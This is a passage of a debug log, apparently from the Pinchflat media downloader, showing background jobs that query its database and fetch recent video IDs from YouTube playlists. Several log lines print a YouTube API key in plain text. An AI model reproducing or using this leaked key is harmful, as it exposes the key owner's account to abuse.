"abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 15:47:36.760 [debug] QUERY OK source="media_items" db=0.4ms idle=137.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 15:47:36.761 [debug] QUERY OK source="tasks" db=0.1ms idle=131.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799834, 8, ~U[2026-02-10 21:47:36Z], ~U[2026-02-10 21:47:36Z]] 15:47:36.761 [info] {"args":{"id":8},"id":3799793,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":251596,"event":"job:stop","queue_time":527032,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:41.514 [info] {"args":{"id":40},"id":3799795,"meta":{},"system_time":1770760061514675315,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:41.515 [debug] QUERY OK source="sources" db=0.1ms idle=1636.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [40] 15:47:41.515 [debug] QUERY OK source="settings" db=0.1ms idle=1636.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:41.515 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:41.515 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:41.515 [debug] Fetching recent media IDs from YouTube API for playlist: UU7V6hW6xqPAiUfataAZZtWA 15:47:41.516 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:41.516 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:41.818 [debug] QUERY OK source="media_items" db=0.5ms idle=302.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [40, "g5M9AL95htk", "_d7EmSiMgtQ", "GzGa73A7Ffk", "FLgPJa-pxeI", "BboXiXnvYX4", "jOY6nOpOruM", "nY5Wo5RJeqk", "4-QP9Zs4U_8", "w772tzPzZ9c", "UKe5sYfn5EY", "gvQT7ECCuDU", "7QoryyHW2VY", "OqA1yhu41so", "8Kz9f-UzpX0", "qgdHLj6Xtdo", "BPGbGYYO2eY", "Gik8xyVow0A", "bDum6c8SoRw", "g63zi5h7sSM", "exUUeZSHrMY", "SDVMlDYUgsA", "H5V319xB7WE", "jf2otd0yO5I", "YF9xXeebrCI", "wqTIn6iGJd8", "y3v0uFqgtJM", "iGRSfesAJ4k", "XNeGT_51LKM", "gBy0C2F-q0w", "Olu7GlTkKJU", "1zENw7nCecE", "AnJU-TxeJe0", "JP6u3p6AOIg", "zbhPsblrMT0", "oY3y4IJ3l_w", "3qFWzdhUjSk", "gjiAsn_EV8g", "4pE6u3dWu-0", "0SEzwZ6pGRQ", "4MCrCkm5g9Y", "mQvJiP4Zd1E", "tBG3sf4QnSc", "uZQkRXk2t6o", "uGoQkin-sb8", "wthVwIc9u8s", "QfF3T3TyUnc", "b5TtJHJD0o4", "BueJnc9uOYo", "7Kt4RnUSNvY", ...] 15:47:41.820 [debug] QUERY OK source="media_items" db=1.8ms idle=303.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 15:47:41.821 [debug] QUERY OK source="tasks" db=0.1ms idle=305.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799835, 40, ~U[2026-02-10 21:47:41Z], ~U[2026-02-10 21:47:41Z]] 15:47:41.821 [info] {"args":{"id":40},"id":3799795,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":307052,"event":"job:stop","queue_time":469895,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:42.516 [info] {"args":{"id":2},"id":3799796,"meta":{},"system_time":1770760062516697478,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:42.517 [debug] QUERY OK source="sources" db=0.1ms idle=695.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:47:42.517 [debug] QUERY OK source="settings" db=0.1ms idle=695.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:42.517 [debug] QUERY OK source="media_profiles" db=0.1ms idle=689.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:42.517 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:42.517 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 15:47:42.517 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:42.517 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:42.648 [debug] QUERY OK source="media_items" db=0.7ms idle=130.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 15:47:42.651 [debug] QUERY OK source="media_items" db=2.2ms idle=131.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:47:42.652 [debug] QUERY OK source="tasks" db=0.1ms idle=134.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799836, 2, ~U[2026-02-10 21:47:42Z], ~U[2026-02-10 21:47:42Z]] 15:47:42.652 [info] {"args":{"id":2},"id":3799796,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":135826,"event":"job:stop","queue_time":532693,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:44.518 [info] {"args":{"id":38},"id":3799797,"meta":{},"system_time":1770760064518632428,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:44.518 [debug] QUERY OK source="sources" db=0.1ms idle=640.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 15:47:44.519 [debug] QUERY OK source="settings" db=0.1ms idle=640.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:44.519 [debug] QUERY OK source="media_profiles" db=0.1ms idle=640.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:44.519 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:44.519 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 15:47:44.519 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:44.519 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:44.621 [debug] QUERY OK source="media_items" db=0.7ms idle=101.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 15:47:44.624 [debug] QUERY OK source="media_items" db=2.5ms idle=102.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 15:47:44.625 [debug] QUERY OK source="tasks" db=0.1ms idle=105.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799837, 38, ~U[2026-02-10 21:47:44Z], ~U[2026-02-10 21:47:44Z]] 15:47:44.626 [info] {"args":{"id":38},"id":3799797,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":107086,"event":"job:stop","queue_time":516570,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:46.520 [info] {"args":{"id":41},"id":3799798,"meta":{},"system_time":1770760066520632290,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:46.520 [debug] QUERY OK source="sources" db=0.1ms idle=642.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 15:47:46.521 [debug] QUERY OK source="settings" db=0.1ms idle=642.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:46.521 [debug] QUERY OK source="media_profiles" db=0.1ms idle=642.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:46.521 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:46.521 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 15:47:46.521 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:46.521 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:46.622 [debug] QUERY OK source="media_items" db=0.8ms idle=100.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", 